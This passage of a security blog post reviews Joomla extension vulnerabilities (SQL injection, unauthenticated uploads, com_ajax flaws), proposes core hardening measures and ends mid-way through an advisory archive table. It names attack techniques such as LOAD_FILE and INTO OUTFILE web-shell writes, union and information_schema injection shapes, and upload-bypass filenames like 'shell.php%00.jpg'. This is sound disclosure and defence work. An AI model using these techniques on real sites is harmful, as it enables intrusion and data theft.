&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;, CVSS 8.7). The calendar and events component for Joomla by Digital Peak had the same class of unauthenticated SQL injection in its public front-end events feed, with the same anonymous full-database-read outcome. It is now fixed in DPCalendar 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3), which Digital Peak shipped within 24 hours, over a holiday break, &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;crediting us in their own advisory&lt;/a&gt;. Read the &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;, CVSS 9.3). JoomShaper’s ecommerce component passed the product-list sort direction into the query’s &lt;code&gt;ORDER BY&lt;/code&gt; with no allow-list, so an anonymous visitor could read any table through the sort parameter. It was one of three flaws we found in EasyStore, alongside an unauthenticated order forgery and a cross-customer invoice leak, and JoomShaper fixed all three in 2.0.2 with no security advisory. Read the &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Unauthenticated SQL injection often means complete database compromise&lt;/h2&gt;
&lt;p&gt;It is tempting to file a “read-only” SQL injection under low priority. Do not. Unauthenticated SQL injection is one of the most damaging classes of web vulnerability there is, and “read-only” badly undersells what an attacker walks away with.&lt;/p&gt;
&lt;p&gt;Start with what a single anonymous request can read. Joomla’s &lt;code&gt;#__users&lt;/code&gt; table holds every account, Super Users included, with their bcrypt password hashes. Those hashes crack offline at the attacker’s leisure, and any weak one that falls hands over a real admin login with no further exploit needed. The &lt;code&gt;#__session&lt;/code&gt; table can expose live sessions. Extension parameters in &lt;code&gt;#__extensions&lt;/code&gt; routinely hold API keys and integration credentials. Every article, every custom field, every piece of data the application keeps in the database is readable. One injection, and the confidentiality of the whole application is gone.&lt;/p&gt;
&lt;p&gt;The reach often does not stop at one site, either. On a great deal of shared and reseller hosting the database account the site connects with is over-privileged, sometimes able to see every schema on the MySQL server. Where that is true, a single injection in one Joomla site can read every other database on the box, other customers’ sites included, and in the worst setups the server’s own &lt;code&gt;mysql.user&lt;/code&gt; table. How far the damage goes is “everything this database login can see”, not just “this site’s data”.&lt;/p&gt;
&lt;p&gt;“Blind” shrinks none of this, it only slows it down. A blind injection returns no data in the page, so tooling asks the database one true-or-false question at a time and rebuilds the answer bit by bit. That is a throughput detail for the attacker, not a safety margin for you: automated tools walk a full table out in seconds to minutes, and the end state is identical to a noisy injection.&lt;/p&gt;
&lt;p&gt;And a read is frequently just the opening move. Depending on the database privileges and the exact injection point, the same flaw can escalate to writing rows (planting a Super User, flipping a user into an admin group, injecting a stored-XSS payload into content), or, where the database login holds the &lt;code&gt;FILE&lt;/code&gt; privilege, reading server files with &lt;code&gt;LOAD_FILE&lt;/code&gt; and writing a web shell with &lt;code&gt;INTO OUTFILE&lt;/code&gt;, turning a “read” into remote code execution. Even when it stays a pure read, “the attacker now has every credential and secret the site stores” is a full compromise in every way that counts.&lt;/p&gt;
&lt;p&gt;That is why we treat the five SQL injections in this roundup as high-severity emergencies rather than paperwork, and why the answer is never “add a firewall rule and move on”. A WAF can blunt the delivery. Only the patch closes the hole.&lt;/p&gt;
&lt;h2&gt;The Helix template framework issues&lt;/h2&gt;
&lt;p&gt;Two of the findings were in JoomShaper’s template frameworks, which sit on an enormous number of Joomla sites.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;) had an unauthenticated file write, arbitrary file delete and template-parameter overwrite reachable through &lt;code&gt;com_ajax&lt;/code&gt; before any token or permission check. The template-parameter angle matters: it is being used to &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;inject a defacement and wallet-drainer payload straight into the database&lt;/a&gt;, where file scanners never look. Fixed in 3.1.1, and it shipped under a two-word “Security Update” changelog that badly understated it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate&lt;/a&gt;&lt;/strong&gt; had several &lt;code&gt;com_ajax&lt;/code&gt; actions running with no CSRF or permission check, enabling an unauthenticated menu-settings write that leads to stored cross-site scripting, plus an in-folder file delete, an open redirect and an unprotected template export. Fixed in 2.2.7. No CVE has been assigned.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why these Joomla vulnerabilities nearly all look the same&lt;/h2&gt;
&lt;p&gt;Read the list again and the same phrase keeps appearing: a public front-end endpoint. That is the whole story, not a coincidence.&lt;/p&gt;
&lt;p&gt;Extensions have to expose endpoints that anonymous visitors reach without logging in. A contact or booking form has to accept a submission. A calendar has to serve its events. A file manager has to hand out downloads. A page builder has to load and save layout fragments over AJAX. None of that can sit behind a login, because the public is the intended audience. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; gateway and front-end component tasks exist to expose this surface.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. The bug is almost never the endpoint existing. It is the endpoint &lt;strong&gt;trusting&lt;/strong&gt; what arrives: taking a filename the visitor supplied and writing it to disk, taking a request parameter and dropping it into a database query, reaching a file-write or delete without first checking a token and a permission. An upload handler with no type allow-list turns “submit an event” into “run my code”. A query built by string concatenation turns “search the newsletter” into “read the password table”. This is the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt;, and it is behind all but a couple of these nineteen findings. Once you have seen it a few times, you know exactly where to look in the next extension.&lt;/p&gt;
&lt;h2&gt;None of this is new: authentication, authorisation and Joomla security 101&lt;/h2&gt;
&lt;p&gt;It is worth being blunt about how ordinary these bugs are. Nothing in this roundup is novel. There is no exotic new attack class, no clever chain no one had thought of, no zero-day technique. Every single one comes down to one of the oldest lessons in web application security, and they split cleanly into the three questions every request should have to answer:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;p&gt;Joomla security 101&lt;/p&gt;
      &lt;p&gt;Three questions every request must answer&lt;/p&gt;
    &lt;/div&gt;
    &lt;span&gt;AuthN / AuthZ / Input&lt;/span&gt;
  &lt;/div&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;span&gt;01&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Authentication&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Who is making this request?&lt;/p&gt;
        &lt;p&gt;A &lt;code&gt;com_ajax&lt;/code&gt; action that fires before any token or login check has skipped this entirely.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;span&gt;02&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Authorisation&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Are they allowed to do it?&lt;/p&gt;
        &lt;p&gt;A front-end task that reaches a file write, a delete or an upload without checking a permission has skipped this one.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;span&gt;03&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Input validation&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Can this input be trusted?&lt;/p&gt;
        &lt;p&gt;An upload with no file-type allow-list, or a query built by gluing request text together, has skipped this one.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
&lt;p&gt;That is it. That is the whole of it, nineteen times over. These three ideas are the first week of any secure-development course and the top of every checklist OWASP has published for twenty years. They are the fundamentals, not obscure corners that only bite under exotic conditions, and experienced developers are expected to get them right by default and without thinking about it. This is not written to shame anyone, because it is the reassuring part: the defences are well understood, cheap and boring. The fix is never the hard part. The failure is almost always the same human one, a single endpoint that, on a busy day, skipped a check that everybody already knows to make.&lt;/p&gt;
&lt;h2&gt;Five things the Joomla Project could do to protect every site&lt;/h2&gt;
&lt;p&gt;None of this is Joomla core’s fault, as we said. But the platform is uniquely placed to make this entire class of bug far harder for an extension developer to write in the first place. Five changes would make it much harder to ship, and the first two alone would have stopped almost every vulnerability in this post before it shipped.&lt;/p&gt;
&lt;p&gt;The project has since moved on the process side of the same problem. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for extension developers handling a security report&lt;/a&gt;, covering CVE assignment, researcher credit and truthful changelogs. It does not stop the bugs below being written, but it would have changed how several of these nineteen were communicated.&lt;/p&gt;
&lt;h3&gt;1. Ship a tiny SQL-injection filter as a core plugin&lt;/h3&gt;
&lt;p&gt;There is essentially never a legitimate reason for a raw, SQL-looking payload to arrive as a request parameter on a public &lt;code&gt;index.php&lt;/code&gt; endpoint. A default-on system plugin that inspects incoming request values and rejects the obvious injection shapes (union selects, stacked queries, comment sequences, &lt;code&gt;information_schema&lt;/code&gt; probing) would neutralise the delivery of every SQL injection in this roundup. It does not need to be clever or exhaustive. It could be ten lines. Call it a mini-WAF.&lt;/p&gt;
&lt;p&gt;Aside, because we enjoyed this rather too much: &quot;Miniwaf&quot; is also a popular crunchy rolled-wafer snack made by the Hai Ha Confectionery Company in Vietnam. Ours has fewer calories and blocks considerably more attacks.&lt;/p&gt;
&lt;p&gt;There is precedent for exactly this, too. In 2019 the Joomla Project adopted the &lt;a href=&quot;https://developer.joomla.org/security-centre/770-20190206-core-implement-the-typo3-phar-stream-wrapper.html&quot;&gt;TYPO3 phar stream wrapper&lt;/a&gt; across the entire CMS, a single central guard that shut down &lt;code&gt;phar://&lt;/code&gt; object-injection attacks so no individual extension had to defend against them alone. It was only &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/45256&quot;&gt;deprecated in 5.3 and removed in 6.0&lt;/a&gt; once PHP 8 fixed the underlying issue and made it redundant. A default-on request filter is the very same move: one small piece of core code that protects every extension at once.&lt;/p&gt;
&lt;h3&gt;2. Make that same mini-WAF reject front-end file uploads by default&lt;/h3&gt;
&lt;p&gt;The other half of this roundup is anonymous file upload. A core plugin that simply blocks multipart file uploads to public front-end endpoints unless the receiving component has explicitly opted in would have stopped the upload RCEs cold. Most of the vulnerable endpoints never intended to accept a file from an anonymous visitor at all. A default-deny posture, opt-in per component, turns “the developer forgot to check” into “safe unless someone allowed it on purpose”.&lt;/p&gt;
&lt;p&gt;Those two small features, a request filter and an upload gate, would between them have blocked almost every vulnerability in this post, the SQL injections and the file uploads alike.&lt;/p&gt;
&lt;h3&gt;3. Provide one hardened, official file-upload API&lt;/h3&gt;
&lt;p&gt;Today every extension author rolls their own upload handling, and every roll is a fresh chance to get it wrong. Joomla should offer a single, battle-tested, unit-tested upload service that developers call instead of writing their own, with the safe behaviour baked in and not optional:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A strict, non-bypassable extension &lt;strong&gt;allow-list&lt;/strong&gt; (permit &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;pdf&lt;/code&gt;; never a deny-list that forgets &lt;code&gt;phtml&lt;/code&gt;, &lt;code&gt;phar&lt;/code&gt;, &lt;code&gt;php7&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Real &lt;strong&gt;content inspection&lt;/strong&gt;, verifying the file’s actual magic bytes and MIME, not its name or the client-supplied &lt;code&gt;Content-Type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Polyglot detection&lt;/strong&gt;, rejecting files that are valid as two formats at once (the classic image or PDF header that is also runnable PHP), which sail straight past a naive magic-byte check&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double-extension and null-byte&lt;/strong&gt; handling (&lt;code&gt;shell.php.jpg&lt;/code&gt;, &lt;code&gt;shell.php%00.jpg&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename normalisation&lt;/strong&gt;, generating a random server-side name rather than trusting the uploaded one&lt;/li&gt;
&lt;li&gt;Writing to a location that is &lt;strong&gt;not web-served&lt;/strong&gt;, or is hardened against execution, by default&lt;/li&gt;
&lt;li&gt;Enforced &lt;strong&gt;size and count limits&lt;/strong&gt;, plus per-user rate limiting&lt;/li&gt;
&lt;li&gt;Clear, prominent &lt;strong&gt;documentation&lt;/strong&gt;, so the safe path is the obvious path a developer reaches for&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of this is exotic. It is the boring, known-good checklist that every one of these extensions had to implement by hand, and that at least six of them got wrong in a single month. Build it once, test it to death, and the whole ecosystem gets safer by default.&lt;/p&gt;
&lt;h3&gt;4. Stop pretending a complicated .htaccess is security&lt;/h3&gt;
&lt;p&gt;Joomla ships a long, intimidating &lt;code&gt;.htaccess.txt&lt;/code&gt; full of rewrite and blocking rules, and a cottage industry of “hardening” guides tells site owners to pile on more. It looks reassuring. It is mostly theatre. Every vulnerability in this roundup arrived through an approved, normal request to &lt;code&gt;index.php&lt;/code&gt;, the one path every &lt;code&gt;.htaccess&lt;/code&gt; is built to allow, so those rules never got a look in. A file complex enough that almost no one who copies it understands it, and that does not stop the attacks that actually happen, is the feeling of security plus a support burden, not security itself. The platform should stop leaning on it as a headline defence and put the protection where the requests actually arrive: in the code, in a request filter, in a safe upload API. Damage-control rules in an upload directory are worth having, but they are the seatbelt, not the brakes, and they should be presented that way. We set out the full argument, and exactly which requests ride straight through the rules, in &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;Your .htaccess Won’t Stop a Joomla Hack&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;5. Give AJAX endpoints one simple, standard way to handle auth and authz&lt;/h3&gt;
&lt;p&gt;Almost every extension that exposes a &lt;code&gt;com_ajax&lt;/code&gt; handler or a front-end task writes its own authentication and authorisation from scratch: checking the CSRF token here, remembering to call &lt;code&gt;authorise()&lt;/code&gt; there, deciding for itself whether a guest should be let through. Most of the bugs in this post are that exact decision going wrong, or being skipped, on a single endpoint. When every developer hand-rolls the same gate, sooner or later one of them leaves the latch off.&lt;/p&gt;
&lt;p&gt;Joomla should give AJAX and front-end endpoints one declarative way to say “this action needs a valid token” and “this action needs this permission”, enforced by the framework before the handler ever runs. Better still, make the safe state the default: an endpoint that declares nothing gets a token check and a login requirement automatically, and a developer has to consciously, visibly opt a task out to expose it to the public. Getting authentication and authorisation right should be one line of declaration, not a discipline every extension author has to remember to apply perfectly, every single time.&lt;/p&gt;
&lt;p&gt;We are not the Joomla Project - actually we are physically banned from contributing to the Joomla project, like other major players in the Joomla ecosystem (but yet they love to protect their toxic inner circle - go figure) and we do not get to set its roadmap. But we read a great deal of extension code, and from where we sit these five changes would remove most of the ground this month’s vulnerabilities grew in.&lt;/p&gt;
&lt;h2&gt;Why .htaccess is damage control, not a Joomla security fix&lt;/h2&gt;
&lt;p&gt;A common reaction to a run of upload vulnerabilities is “I have got an &lt;code&gt;.htaccess&lt;/code&gt;, I am fine”. You are not, and it is worth being precise about why.&lt;/p&gt;
&lt;p&gt;These flaws were reached through &lt;strong&gt;approved, normal endpoints&lt;/strong&gt;. The malicious request looked like a legitimate form submission or AJAX call, so it sailed through routing and rewrite rules. An &lt;code&gt;.htaccess&lt;/code&gt; that only blocks odd-looking URLs never sees a problem, because nothing about the request was odd. The application accepted it on purpose.&lt;/p&gt;
&lt;p&gt;Where &lt;code&gt;.htaccess&lt;/code&gt; does help is &lt;strong&gt;after&lt;/strong&gt; the file has been written: a rule in your upload directories that will not execute PHP downgrades a remote code execution into an arbitrary file write. That is a real reduction in how far the damage goes, but it is not safety. An attacker who can still write files can fill your disk and take the site down, host illegal content under your domain, or leave a payload waiting for the day execution gets re-enabled. And none of it touches the SQL injection class at all: there is no file to block, the attacker reads your database straight out of a normal query.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Your &lt;code&gt;.htaccess&lt;/code&gt; will &lt;span&gt;NOT SAVE YOU&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;A Web Application Firewall (WAF) layer might.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This all deserves its own full treatment, and it got one. &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;Your .htaccess Won’t Stop a Joomla Hack&lt;/a&gt; covers why an &lt;code&gt;.htaccess&lt;/code&gt; protects far less than most site owners think, which requests ride straight through it, and the hardening (and the WAF layer) that actually earns its place. The short version for today: an &lt;code&gt;.htaccess&lt;/code&gt; is a seatbelt. Worth having, capable of turning a catastrophe into a bad day, and no reason whatsoever to skip the actual fix. Update the extension.&lt;/p&gt;
&lt;h2&gt;Every security announcement we have published&lt;/h2&gt;
&lt;p&gt;The table near the top of this post is the original nineteen, ranked by severity. This is the whole archive: every security announcement on the mySites.guru blog, newest first. It covers the flaws we found ourselves, the vendor security releases we pulled apart to work out what was actually fixed, and the reports from other researchers that still meant your sites needed patching.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Found by&lt;/strong&gt; column matters. We name the other researchers wherever the CVE record or the vendor credits them, because absorbing someone else’s find into our own tally without a word is the behaviour we complain about elsewhere in this post.&lt;/p&gt;
&lt;h3&gt;Joomla, Joomla extensions and Joomla core&lt;/h3&gt;









































































































































































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Published&lt;/th&gt;&lt;th&gt;Announcement&lt;/th&gt;&lt;th&gt;Found by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;30 Sep 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jctables-joomla-sql-injection/&quot;&gt;JCTables 1.21.1 fixes an unauthenticated SQL injection&lt;/a&gt; in JoomCode’s datatables component, scored 10.0 and able to read and rewrite the whole Joomla database&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;19 Sep 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/&quot;&gt;JoomGallery 4.4.2 fixes an unauthenticated file upload&lt;/a&gt; in the Joomla gallery extension, where the resumable-upload endpoint had no access check at all. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-84048/&quot;&gt;CVE-2026-84048&lt;/a&gt;; the record briefly named 4.4.1 as the fix when 4.4.1 was itself affected, corrected the same day after we flagged it&lt;/td&gt;&lt;td&gt;Yugorin of Samar Group&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;15 Sep 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-six-more-security-flaws-disclosure/&quot;&gt;Six more J2Store flaws fixed in 3.3.23, 4.0.23 and 4.1.8&lt;/a&gt;, including an anonymous blind SQL injection that reads a Joomla shop’s whole database&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;14 Sep 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;SQL injection and a captcha bypass in SP Page Builder&lt;/a&gt;, an Author-level SQL injection and an unauthenticated captcha bypass, both fixed in 6.9.1. &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;The Joomla 3 patch reached 1.0.3&lt;/a&gt; after we found two more gaps in it&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;28 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;T4 Page Builder 2.3.0 closes an unauthenticated open mail relay&lt;/a&gt; in JoomlArt’s Joomla page builder, along with a hardcoded Mailchimp API key. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78374/&quot;&gt;CVE-2026-78374&lt;/a&gt;, issued only after we asked the Joomla CNA for it ourselves, and still no advisory and no affected-version statement&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;27 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;Helix Ultimate 2.2.10, and a third Joomla 3 patch for the template framework&lt;/a&gt;, which reuses the version string 2.1.4-j3sec so &lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;Joomla 3 sites&lt;/a&gt; cannot tell whether they have it&lt;/td&gt;&lt;td&gt;JoomShaper’s own security pass&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;25 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/#yootheme-pro-for-joomla&quot;&gt;YOOtheme Pro: four flaws across 5.0.41 and 5.0.42&lt;/a&gt;, now backported to the Joomla 3 branch in 4.5.34. Be on 5.0.42, or 4.5.35 on Joomla 3&lt;/td&gt;&lt;td&gt;Jörg Steinsträter, and others uncredited&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;22 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/fabrik-4-7-2-security-release/&quot;&gt;Fabrik 4.7.2 closes a long list of unauthenticated flaws&lt;/a&gt;: remote code execution, SQL injection, arbitrary file upload, directory listing, row disclosure, comment manipulation, path traversal and a heredoc breakout&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt; for most of them&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;22 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jem-joomla-event-manager-disclosure/&quot;&gt;Five security issues in JEM (Joomla Event Manager)&lt;/a&gt;, including an unauthenticated article overwrite. Five CVEs, no stable fix yet&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;19 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/&quot;&gt;YOOtheme ZOO: a CVSS 10.0 unauthenticated upload and an unauthenticated SQL injection&lt;/a&gt;, plus five more issues across two follow-up releases. Be on 4.1.66&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;17 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer 14.0.0 stops PHP running from unverified content&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;Łukasz Rybak&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;17 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-calendar-module-sql-injection/&quot;&gt;iCagenda 4.0.12 fixes an unauthenticated SQL injection&lt;/a&gt; in the Calendar module, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67365/&quot;&gt;CVE-2026-67365&lt;/a&gt;, scored 9.2&lt;/td&gt;&lt;td&gt;Joep van Antwerpen&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;16 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection&lt;/a&gt; in the product filter&lt;/td&gt;&lt;td&gt;Toan Le&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;12 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;Unauthenticated remote code execution in SP Page Builder&lt;/a&gt;, still there in the release that fixed our earlier reports. Fixed in 6.8.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;12 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt;: two access control flaws, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67283/&quot;&gt;CVE-2026-67283&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67284/&quot;&gt;CVE-2026-67284&lt;/a&gt;, fixed in 2.0.3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;10 Aug 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;The Fabrik fiasco&lt;/a&gt;: two CVSS 10.0 RCEs and a chaotic run of security releases across 4.6.7 to 4.7.1, announced as stable while restricted, then relabelled&lt;/td&gt;&lt;td&gt;Moe Khalilov and Murad Gasimov&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;29 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;Another 23 critical vulnerabilities in Gridbox&lt;/a&gt;, several already exploited in the wild. Fixed in 2.20.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;, audit commissioned by Balbooa&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;29 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;JCE 2.9.99.10 fixes a file rename flaw&lt;/a&gt;, and hardens considerably more than the changelog lists&lt;/td&gt;&lt;td&gt;Vendor release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;27 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Pre-authentication SQL injection and mail relay in SP Page Builder&lt;/a&gt;, four flaws fixed in 6.7.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;23 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Exposed customer invoices, order forgery and SQL injection in EasyStore&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;22 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a 